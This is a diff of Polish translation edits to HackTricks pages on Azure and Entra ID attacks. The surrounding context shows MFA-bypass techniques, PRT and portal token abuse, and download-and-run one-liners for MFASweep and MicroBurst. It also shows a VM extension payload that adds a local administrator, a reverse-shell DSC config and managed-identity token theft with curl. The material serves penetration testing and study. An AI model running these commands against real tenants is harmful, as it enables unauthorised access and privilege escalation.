Możliwe **wyniki** to: Zablokuj lub Przyznaj dostęp z potencjalnymi warunkami, takimi jak wymóg MFA, zgodność urządzenia...
|
||||
Możliwe **wyniki** to: Zablokuj lub Przyznaj dostęp z potencjalnymi warunkami, takimi jak wymaganie MFA, zgodność urządzenia...
|
||||
|
||||
### Platformy urządzeń - Warunek urządzenia
|
||||
|
||||
@@ -40,7 +40,7 @@ Możliwe jest ustawienie warunku na podstawie **platformy urządzenia** (Android
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wystarczy, że przeglądarka **wyśle nieznany user-agent** (jak `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`), aby nie wywołać tego warunku.\
|
||||
Możesz zmienić user-agent **ręcznie** w narzędziach dewelopera:
|
||||
Możesz zmienić user-agenta **ręcznie** w narzędziach deweloperskich:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@@ -85,7 +85,7 @@ Jedną z opcji Azure MFA jest **odebranie połączenia na skonfigurowanym numerz
|
||||
Polityki często wymagają zgodnego urządzenia lub MFA, więc **atakujący mógłby zarejestrować zgodne urządzenie**, uzyskać token **PRT** i **w ten sposób obejść MFA**.
|
||||
|
||||
Zacznij od zarejestrowania **zgodnego urządzenia w Intune**, a następnie **uzyskaj PRT** za pomocą:
|
||||
```powershell
|
||||
```bash
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
|
||||
@@ -106,7 +106,7 @@ Znajdź więcej informacji na temat tego rodzaju ataku na następującej stronie
|
||||
|
||||
Ten skrypt pobiera dane uwierzytelniające użytkownika i sprawdza, czy można zalogować się do niektórych aplikacji.
|
||||
|
||||
Jest to przydatne, aby zobaczyć, czy **nie jest wymagane MFA do logowania się do niektórych aplikacji**, które możesz później wykorzystać do **eskalacji uprawnień**.
|
||||
To jest przydatne, aby zobaczyć, czy **nie jest wymagane MFA do logowania się do niektórych aplikacji**, które możesz później wykorzystać do **eskalacji uprawnień**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
@@ -116,7 +116,7 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep to skrypt PowerShell, który próbuje **zalogować się do różnych usług Microsoftu, używając podanego zestawu poświadczeń, i spróbuje zidentyfikować, czy MFA jest włączone**. W zależności od tego, jak skonfigurowane są zasady dostępu warunkowego i inne ustawienia uwierzytelniania wieloskładnikowego, niektóre protokoły mogą pozostać jako jednoskładnikowe. Posiada również dodatkowe sprawdzenie konfiguracji ADFS i może próbować zalogować się do lokalnego serwera ADFS, jeśli zostanie wykryty.
|
||||
MFASweep to skrypt PowerShell, który próbuje **zalogować się do różnych usług Microsoftu, używając podanego zestawu poświadczeń i będzie próbował zidentyfikować, czy MFA jest włączone**. W zależności od tego, jak skonfigurowane są zasady dostępu warunkowego i inne ustawienia uwierzytelniania wieloskładnikowego, niektóre protokoły mogą pozostać jako jednoskładnikowe. Posiada również dodatkowe sprawdzenie konfiguracji ADFS i może próbować zalogować się do lokalnego serwera ADFS, jeśli zostanie wykryty.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
@@ -126,7 +126,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
To narzędzie pomogło zidentyfikować obejścia MFA, a następnie wykorzystać API w wielu produkcyjnych dzierżawach AAD, gdzie klienci AAD wierzyli, że mają wymuszone MFA, ale uwierzytelnianie oparte na ROPC zakończyło się sukcesem.
|
||||
|
||||
> [!TIP]
|
||||
> Musisz mieć uprawnienia do wyświetlenia wszystkich aplikacji, aby móc wygenerować listę aplikacji do brutalnego wymuszania.
|
||||
> Musisz mieć uprawnienia do wyświetlenia wszystkich aplikacji, aby móc wygenerować listę aplikacji do ataku brute-force.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -142,19 +142,19 @@ Donkey token to zestaw funkcji, które mają na celu pomoc konsultantom ds. bezp
|
||||
</strong></code></pre>
|
||||
|
||||
**Testuj każdy portal**, czy możliwe jest **zalogowanie się bez MFA**:
|
||||
```powershell
|
||||
```bash
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
Ponieważ **portal** **Azure** **nie jest ograniczony**, możliwe jest **zdobycie tokena z punktu końcowego portalu, aby uzyskać dostęp do dowolnej usługi wykrytej** podczas poprzedniego wykonania. W tym przypadku zidentyfikowano Sharepoint, a token do uzyskania dostępu do niego jest żądany:
|
||||
```powershell
|
||||
Ponieważ **portal** **Azure** **nie jest ograniczony**, możliwe jest **zdobycie tokena z punktu końcowego portalu, aby uzyskać dostęp do dowolnej usługi wykrytej** podczas wcześniejszego wykonania. W tym przypadku zidentyfikowano Sharepoint, a token do uzyskania dostępu do niego jest żądany:
|
||||
```bash
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
Zakładając, że token ma uprawnienia Sites.Read.All (z Sharepoint), nawet jeśli nie możesz uzyskać dostępu do Sharepoint z sieci z powodu MFA, możliwe jest użycie tokena do uzyskania dostępu do plików za pomocą wygenerowanego tokena:
|
||||
```powershell
|
||||
```bash
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
+4
-4
@@ -4,15 +4,15 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Dynamiczne grupy** to grupy, które mają skonfigurowany zestaw **reguł**, a wszyscy **użytkownicy lub urządzenia**, które pasują do reguł, są dodawani do grupy. Za każdym razem, gdy **atrybut** użytkownika lub urządzenia jest **zmieniany**, dynamiczne reguły są **ponownie sprawdzane**. A gdy **nowa reguła** jest **tworzona**, wszystkie urządzenia i użytkownicy są **sprawdzani**.
|
||||
**Dynamic groups** to grupy, które mają skonfigurowany zestaw **reguł**, a wszyscy **użytkownicy lub urządzenia**, które pasują do tych reguł, są dodawani do grupy. Za każdym razem, gdy **atrybut** użytkownika lub urządzenia jest **zmieniany**, dynamiczne reguły są **ponownie sprawdzane**. A gdy **nowa reguła** jest **tworzona**, wszystkie urządzenia i użytkownicy są **sprawdzani**.
|
||||
|
||||
Dynamiczne grupy mogą mieć przypisane **role Azure RBAC**, ale **nie jest możliwe** dodanie **ról AzureAD** do dynamicznych grup.
|
||||
Dynamic groups mogą mieć przypisane **role Azure RBAC**, ale **nie jest możliwe** dodanie **ról AzureAD** do dynamicznych grup.
|
||||
|
||||
Ta funkcja wymaga licencji Azure AD premium P1.
|
||||
|
||||
## Privesc
|
||||
|
||||
Należy zauważyć, że domyślnie każdy użytkownik może zapraszać gości w Azure AD, więc, jeśli reguła **dynamicznej grupy** przyznaje **uprawnienia** użytkownikom na podstawie **atrybutów**, które mogą być **ustawione** w nowym **gościu**, możliwe jest **utworzenie gościa** z tymi atrybutami i **eskalacja uprawnień**. Gość może również zarządzać swoim własnym profilem i zmieniać te atrybuty.
|
||||
Należy zauważyć, że domyślnie każdy użytkownik może zapraszać gości w Azure AD, więc jeśli reguła **dynamicznej grupy** przyznaje **uprawnienia** użytkownikom na podstawie **atrybutów**, które mogą być **ustawione** w nowym **gościu**, możliwe jest **utworzenie gościa** z tymi atrybutami i **eskalacja uprawnień**. Gość może również zarządzać swoim własnym profilem i zmieniać te atrybuty.
|
||||
|
||||
Uzyskaj grupy, które pozwalają na dynamiczne członkostwo: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
|
||||
@@ -23,7 +23,7 @@ Uzyskaj grupy, które pozwalają na dynamiczne członkostwo: **`az ad group list
|
||||
|
||||
Dla adresu e-mail użytkownika gościa, zaakceptuj zaproszenie i sprawdź bieżące ustawienia **tego użytkownika** w [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||
Niestety strona nie pozwala na modyfikację wartości atrybutów, więc musimy użyć API:
|
||||
```powershell
|
||||
```bash
|
||||
# Login with the gust user
|
||||
az login --allow-no-subscriptions
|
||||
|
||||
|
||||
+4
-4
@@ -4,7 +4,7 @@
|
||||
|
||||
## VMS i Sieć
|
||||
|
||||
Aby uzyskać więcej informacji na temat Azure Virtual Machines i Network, sprawdź:
|
||||
Aby uzyskać więcej informacji na temat Maszyn Wirtualnych i Sieci Azure, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
@@ -79,7 +79,7 @@ az vm extension set \
|
||||
Możesz również wykonać inne ładunki, takie jak: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Zresetuj hasło za pomocą rozszerzenia VMAccess
|
||||
```powershell
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
@@ -94,7 +94,7 @@ Możliwe jest również nadużycie znanych rozszerzeń do wykonywania kodu lub p
|
||||
<summary>Rozszerzenie VMAccess</summary>
|
||||
|
||||
To rozszerzenie pozwala na modyfikację hasła (lub utworzenie, jeśli nie istnieje) użytkowników wewnątrz Windows VM.
|
||||
```powershell
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
To jest **rozszerzenie VM** należące do Microsoft, które wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego może być używane do **wykonywania dowolnych poleceń** w maszynach wirtualnych Windows za pomocą tego rozszerzenia:
|
||||
```powershell
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
|
||||
@@ -13,7 +13,7 @@ Możesz znaleźć listę **portali Microsoft w** [**https://msportals.io/**](htt
|
||||
Uzyskaj **access_token** z **IDENTITY_HEADER** i **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
|
||||
|
||||
Następnie zapytaj Azure REST API, aby uzyskać **ID subskrypcji** i więcej.
|
||||
```powershell
|
||||
```bash
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||||
# $URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
@@ -62,6 +62,6 @@ return func.HttpResponse(val, status_code=200)
|
||||
```
|
||||
## Lista usług
|
||||
|
||||
**Strony tej sekcji są uporządkowane według usługi Azure. Znajdziesz tam informacje o usłudze (jak działa i jej możliwości) oraz jak zenumerować każdą usługę.**
|
||||
**Strony tej sekcji są uporządkowane według usługi Azure. Znajdziesz tam informacje o usłudze (jak działa i jakie ma możliwości) oraz jak enumerować każdą usługę.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -8,7 +8,7 @@ Azure Container Registry (ACR) to zarządzana usługa oferowana przez Microsoft
|
||||
|
||||
### Enumeracja
|
||||
|
||||
Aby zenumerować usługę, możesz użyć skryptu [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
|
||||
Aby enumerować usługę, możesz użyć skryptu [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
|
||||
```bash
|
||||
# List Docker images inside the registry
|
||||
IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
|
||||
@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List all ACRs in your subscription
|
||||
Get-AzContainerRegistry
|
||||
|
||||
|
||||
@@ -8,12 +8,12 @@ Azure App Services umożliwia deweloperom **tworzenie, wdrażanie i skalowanie a
|
||||
|
||||
Każda aplikacja działa w piaskownicy, ale izolacja zależy od planów App Service:
|
||||
|
||||
- Aplikacje w bezpłatnych i współdzielonych warstwach działają na **współdzielonych VM**
|
||||
- Aplikacje w darmowych i współdzielonych warstwach działają na **współdzielonych VM**
|
||||
- Aplikacje w standardowych i premium warstwach działają na **dedykowanych VM współdzielonych tylko przez aplikacje** w tym samym planie App Service.
|
||||
- Warstwy izolowane działają na **dedykowanych VM w dedykowanych sieciach wirtualnych**, co poprawia izolację aplikacji.
|
||||
|
||||
> [!WARNING]
|
||||
> Należy pamiętać, że **żadne** z tych izolacji **nie zapobiega** innym powszechnym **wrażliwościom internetowym** (takim jak przesyłanie plików czy wstrzyknięcia). A jeśli używana jest **tożsamość zarządzania**, może ona **eskalować uprawnienia do nich**.
|
||||
> Należy pamiętać, że **żadne** z tych izolacji **nie zapobiega** innym powszechnym **wrażliwościom internetowym** (takim jak przesyłanie plików czy wstrzyknięcia). A jeśli używana jest **tożsamość zarządzająca**, może ona **eskalować uprawnienia do nich**.
|
||||
|
||||
Aplikacje mają kilka interesujących konfiguracji:
|
||||
|
||||
@@ -21,7 +21,7 @@ Aplikacje mają kilka interesujących konfiguracji:
|
||||
- Jest to niezbędne, jeśli masz webjob, który musi działać nieprzerwanie, ponieważ webjob zatrzyma się, jeśli aplikacja przestanie działać.
|
||||
- **SSH**: Jeśli włączone, użytkownik z wystarczającymi uprawnieniami może połączyć się z aplikacją za pomocą SSH.
|
||||
- **Debugowanie**: Jeśli włączone, użytkownik z wystarczającymi uprawnieniami może debugować aplikację. Jednak jest to automatycznie wyłączane co 48 godzin.
|
||||
- **Aplikacja webowa + Baza danych**: Konsola internetowa umożliwia utworzenie aplikacji z bazą danych. W tym przypadku można wybrać bazę danych do użycia (SQLAzure, PostgreSQL, MySQL, MongoDB) i umożliwia również utworzenie Azure Cache dla Redis.
|
||||
- **Aplikacja internetowa + Baza danych**: Konsola internetowa umożliwia utworzenie aplikacji z bazą danych. W tym przypadku można wybrać bazę danych do użycia (SQLAzure, PostgreSQL, MySQL, MongoDB) i umożliwia również utworzenie Azure Cache dla Redis.
|
||||
- URL zawierający dane uwierzytelniające do bazy danych i Redis będzie przechowywany w **appsettings**.
|
||||
- **Kontener**: Możliwe jest wdrożenie kontenera do App Service, wskazując URL kontenera i dane uwierzytelniające do jego dostępu.
|
||||
- **Montowanie**: Możliwe jest utworzenie 5 montowań z kont Storage, które mogą być Azure Blob (tylko do odczytu) lub Azure Files. Konfiguracja przechowa klucz dostępu w koncie Storage.
|
||||
@@ -48,7 +48,7 @@ Niektóre interesujące punkty końcowe, które można znaleźć w Kudu, to:
|
||||
- `/DebugConsole`: Konsola, która pozwala na wykonywanie poleceń w środowisku, w którym działa Kudu.
|
||||
- Należy pamiętać, że to środowisko **nie ma dostępu** do usługi metadanych w celu uzyskania tokenów.
|
||||
- `/webssh/host`: Klient SSH oparty na sieci, który pozwala na połączenie się wewnątrz kontenera, w którym działa aplikacja.
|
||||
- To środowisko **ma dostęp do usługi metadanych**, aby uzyskać tokeny z przypisanych tożsamości zarządzanych.
|
||||
- To środowisko **ma dostęp do usługi metadanych**, aby uzyskać tokeny z przypisanych tożsamości zarządzających.
|
||||
- `/Env`: Uzyskaj informacje o systemie, ustawieniach aplikacji, zmiennych środowiskowych, ciągach połączeń i nagłówkach HTTP.
|
||||
- `/wwwroot/`: Katalog główny aplikacji internetowej. Możesz pobrać wszystkie pliki stąd.
|
||||
|
||||
@@ -56,7 +56,7 @@ Ponadto, Kudu był kiedyś open source w [https://github.com/projectkudu/kudu](h
|
||||
|
||||
## Źródła
|
||||
|
||||
App Services domyślnie pozwala na przesyłanie kodu jako pliku zip, ale również umożliwia połączenie z usługą zewnętrzną i pobranie kodu stamtąd.
|
||||
Usługi App pozwalają na przesyłanie kodu jako pliku zip domyślnie, ale również umożliwiają połączenie z usługą zewnętrzną i pobranie kodu stamtąd.
|
||||
|
||||
- Obecnie obsługiwane źródła zewnętrzne to **Github** i **Bitbucket**.
|
||||
- Możesz uzyskać tokeny uwierzytelniające, uruchamiając `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||
@@ -65,17 +65,17 @@ App Services domyślnie pozwala na przesyłanie kodu jako pliku zip, ale równie
|
||||
- Możesz uzyskać dane uwierzytelniające do zdalnego repozytorium, uruchamiając `az webapp deployment source show --name <app-name> --resource-group <res-group>` lub `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Możliwe jest również użycie **Azure Repository**.
|
||||
- Możliwe jest również skonfigurowanie **lokalnego repozytorium git**.
|
||||
- Możesz uzyskać URL repozytorium git, uruchamiając `az webapp deployment source show --name <app-name> --resource-group <res-group>`, a będzie to URL SCM aplikacji.
|
||||
- Aby je sklonować, będziesz potrzebować danych uwierzytelniających SCM, które możesz uzyskać za pomocą `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
|
||||
- Możesz uzyskać URL repozytorium git za pomocą `az webapp deployment source show --name <app-name> --resource-group <res-group>`, a będzie to URL SCM aplikacji.
|
||||
- Aby je sklonować, będziesz potrzebować danych uwierzytelniających SCM, które możesz uzyskać za pomocą `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs to **zadania w tle, które działają w środowisku Azure App Service**. Umożliwiają deweloperom wykonywanie skryptów lub programów obok ich aplikacji internetowych, co ułatwia obsługę operacji asynchronicznych lub czasochłonnych, takich jak przetwarzanie plików, obsługa danych czy zadania zaplanowane.
|
||||
Azure WebJobs to **zadania w tle, które działają w środowisku Azure App Service**. Umożliwiają deweloperom wykonywanie skryptów lub programów obok ich aplikacji internetowych, co ułatwia obsługę asynchronicznych lub czasochłonnych operacji, takich jak przetwarzanie plików, obsługa danych czy zadania zaplanowane.
|
||||
Istnieją 2 typy web jobs:
|
||||
- **Ciągłe**: Działa w nieskończoność w pętli i jest uruchamiane natychmiast po utworzeniu. Jest idealne do zadań, które wymagają stałego przetwarzania. Jednak jeśli aplikacja przestanie działać, ponieważ Always On jest wyłączone i nie otrzymała żądania w ciągu ostatnich 20 minut, web job również się zatrzyma.
|
||||
- **Wyzwalane**: Działa na żądanie lub na podstawie harmonogramu. Najlepiej nadaje się do okresowych zadań, takich jak aktualizacje danych wsadowych lub rutyny konserwacyjne.
|
||||
|
||||
Webjobs są bardzo interesujące z perspektywy atakującego, ponieważ mogą być używane do **wykonywania kodu** w środowisku i **eskalacji uprawnień** do przypisanych tożsamości zarządzanych.
|
||||
Webjobs są bardzo interesujące z perspektywy atakującego, ponieważ mogą być używane do **wykonywania kodu** w środowisku i **eskalacji uprawnień** do przypisanych tożsamości zarządzających.
|
||||
|
||||
Ponadto zawsze warto sprawdzić **logi** generowane przez Webjobs, ponieważ mogą zawierać **wrażliwe informacje**.
|
||||
|
||||
@@ -87,7 +87,7 @@ Ponadto możliwe jest skierowanie **procenta ruchu** do konkretnego slotu, co je
|
||||
|
||||
## Aplikacje funkcji Azure
|
||||
|
||||
Zasadniczo **aplikacje funkcji Azure są podzbiorem Azure App Service** w konsoli internetowej, a jeśli przejdziesz do konsoli internetowej i wyświetlisz wszystkie usługi aplikacji lub wykonasz `az webapp list` w az cli, będziesz mógł **zobaczyć aplikacje funkcji również wymienione tam**.
|
||||
Zasadniczo **aplikacje funkcji Azure są podzbiorem Azure App Service** w konsoli internetowej, a jeśli przejdziesz do konsoli internetowej i wyświetlisz wszystkie usługi aplikacji lub wykonasz `az webapp list` w az cli, będziesz mógł **zobaczyć również aplikacje funkcji wymienione tam**.
|
||||
|
||||
Dlatego obie usługi mają w rzeczywistości głównie **te same konfiguracje, funkcje i opcje w az cli**, chociaż mogą je konfigurować nieco inaczej (jak domyślne wartości appsettings lub użycie konta Storage w aplikacjach funkcji).
|
||||
|
||||
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
@@ -258,7 +258,7 @@ Podobnie jak w poprzednim przypadku, logując się do portalu SCM lub przez FTP,
|
||||
> [!TIP]
|
||||
> Samo połączenie przez FTP i modyfikacja pliku `output.tar.gz` oraz ponowne uruchomienie wdrożenia nie wystarczy, aby zmienić kod wykonywany przez aplikację webową.
|
||||
|
||||
## Podwyższenie Uprawnień
|
||||
## Eskalacja Uprawnień
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
|
||||
|
||||
Azure Active Directory's Application Proxy zapewnia **bezpieczny zdalny dostęp do lokalnych aplikacji internetowych**. Po **jednokrotnym logowaniu do Azure AD**, użytkownicy mogą uzyskać dostęp zarówno do **aplikacji w chmurze**, jak i **lokalnych aplikacji** za pośrednictwem **zewnętrznego URL** lub wewnętrznego portalu aplikacji.
|
||||
Azure Active Directory's Application Proxy zapewnia **bezpieczny zdalny dostęp do lokalnych aplikacji webowych**. Po **jednokrotnym logowaniu do Azure AD**, użytkownicy mogą uzyskać dostęp zarówno do **aplikacji w chmurze**, jak i **lokalnych aplikacji** za pośrednictwem **zewnętrznego URL** lub wewnętrznego portalu aplikacji.
|
||||
|
||||
Działa to w ten sposób:
|
||||
|
||||
@@ -20,7 +20,7 @@ Działa to w ten sposób:
|
||||
6. **Odpowiedź** jest wysyłana przez łącznik i usługę Application Proxy **do użytkownika**.
|
||||
|
||||
## Enumeracja
|
||||
```powershell
|
||||
```bash
|
||||
# Enumerate applications with application proxy configured
|
||||
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - Szablony ARM / Wdrożenia
|
||||
# Az - ARM Templates / Deployments
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Aby wdrożyć **infrastrukturę jako kod dla swoich rozwiązań Azure**, użyj szablonów Azure Resource Manager (szablony ARM). Szablon to plik JavaScript Object Notation (**JSON**), który **definiuje** **infrastrukturę** i konfigurację dla Twojego projektu. Szablon używa składni deklaratywnej, co pozwala Ci określić, co zamierzasz wdrożyć, bez konieczności pisania sekwencji poleceń programistycznych do jego utworzenia. W szablonie określasz zasoby do wdrożenia oraz właściwości tych zasobów.
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Aby wdrożyć **infrastrukturę jako kod dla swoich rozwiązań Azure**, użyj szablonów Azure Resource Manager (szablony ARM). Szablon to plik JavaScript Object Notation (**JSON**), który **definiuje** **infrastrukturę** i konfigurację dla Twojego projektu. Szablon używa składni deklaratywnej, co pozwala na określenie, co zamierzasz wdrożyć, bez konieczności pisania sekwencji poleceń programistycznych do jego utworzenia. W szablonie określasz zasoby do wdrożenia oraz właściwości tych zasobów.
|
||||
|
||||
### Historia
|
||||
|
||||
@@ -13,7 +13,7 @@ Jeśli masz do niego dostęp, możesz uzyskać **informacje o zasobach**, które
|
||||
## Wyszukiwanie wrażliwych informacji
|
||||
|
||||
Użytkownicy z uprawnieniami `Microsoft.Resources/deployments/read` i `Microsoft.Resources/subscriptions/resourceGroups/read` mogą **czytać historię wdrożeń**.
|
||||
```powershell
|
||||
```bash
|
||||
Get-AzResourceGroup
|
||||
Get-AzResourceGroupDeployment -ResourceGroupName <name>
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ Konta Automatyzacji Azure to usługi w chmurze w Microsoft Azure, które pomagaj
|
||||
### Ustawienia
|
||||
|
||||
- **Poświadczenia**: Hasło jest dostępne tylko w ramach runbooka w koncie automatyzacji, służą do **bezpiecznego przechowywania nazw użytkowników i haseł**.
|
||||
- **Zmienne**: Służą do przechowywania **danych konfiguracyjnych**, które mogą być używane w runbookach. Mogą to być również wrażliwe informacje, takie jak klucze API. Jeśli zmienna jest **przechowywana w zaszyfrowanej formie**, jest dostępna tylko w ramach runbooka w koncie automatyzacji.
|
||||
- **Zmienne**: Służą do przechowywania **danych konfiguracyjnych**, które mogą być używane w runbookach. Mogą to być również wrażliwe informacje, takie jak klucze API. Jeśli zmienna jest **przechowywana w postaci zaszyfrowanej**, jest dostępna tylko w ramach runbooka w koncie automatyzacji.
|
||||
- **Certyfikaty**: Służą do przechowywania **certyfikatów**, które mogą być używane w runbookach.
|
||||
- **Połączenia**: Służą do przechowywania **informacji o połączeniach** z zewnętrznymi usługami. Mogą zawierać **wrażliwe informacje**.
|
||||
- **Dostęp do sieci**: Może być ustawiony na **publiczny** lub **prywatny**.
|
||||
@@ -40,7 +40,7 @@ Istnieją 3 główne sposoby na wykonanie Runbooka:
|
||||
|
||||
Umożliwia importowanie Runbooków z **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Możliwe jest wskazanie, aby publikować Runbooki z repozytorium do konta automatyzacji Azure, a także możliwe jest wskazanie, aby **synchronizować zmiany z repozytorium** do konta automatyzacji Azure.
|
||||
|
||||
Gdy synchronizacja jest włączona, w **repozytorium Github tworzony jest webhook** do wyzwalania synchronizacji za każdym razem, gdy wystąpi zdarzenie push. Przykład adresu URL webhooka: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
Gdy synchronizacja jest włączona, w **repozytorium Github tworzony jest webhook** do wyzwalania synchronizacji za każdym razem, gdy występuje zdarzenie push. Przykład adresu URL webhooka: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Należy pamiętać, że te webhooki **nie będą widoczne** podczas wyświetlania webhooków w powiązanych runbookach z repozytorium Github. Należy również pamiętać, że **nie można zmienić adresu URL repozytorium** kontroli źródła po jego utworzeniu.
|
||||
|
||||
@@ -68,21 +68,21 @@ Gdy tworzona jest grupa pracowników hybrydowych, należy wskazać **poświadcze
|
||||
- **Domyślne poświadczenia**: Nie musisz podawać poświadczeń, a runbooki będą wykonywane wewnątrz VM jako **System**.
|
||||
- **Specyficzne poświadczenia**: Musisz podać nazwę obiektu poświadczeń w koncie automatyzacji, które będą używane do wykonywania **runbooków wewnątrz VM**. W związku z tym w tym przypadku możliwe jest **kradzież ważnych poświadczeń** dla VM.
|
||||
|
||||
Dlatego, jeśli możesz wybrać uruchomienie **Runbooka** w **Hybrydowym Pracowniku**, będziesz wykonywać **dowolne polecenia** wewnątrz zewnętrznej maszyny jako **System** (fajna technika pivotowania).
|
||||
Dlatego, jeśli możesz wybrać uruchomienie **Runbooka** w **Hybrydowym Pracowniku**, będziesz mógł wykonać **dowolne polecenia** wewnątrz zewnętrznej maszyny jako **System** (fajna technika pivotowania).
|
||||
|
||||
Ponadto, jeśli hybrydowy pracownik działa w Azure z innymi zarządzanymi tożsamościami, runbook będzie mógł uzyskać dostęp do **zarządzanej tożsamości runbooka oraz wszystkich zarządzanych tożsamości VM z usługi metadanych**.
|
||||
|
||||
> [!TIP]
|
||||
> Pamiętaj, że **usługa metadanych** ma inny adres URL (**`http://169.254.169.254`**) niż usługa, z której uzyskuje token zarządzanych tożsamości konta automatyzacji (**`IDENTITY_ENDPOINT`**).
|
||||
> Pamiętaj, że **usługa metadanych** ma inny adres URL (**`http://169.254.169.254`**) niż usługa, z której uzyskuje się token zarządzanych tożsamości konta automatyzacji (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### Konfiguracja Stanu (SC)
|
||||
|
||||
>[!WARNING]
|
||||
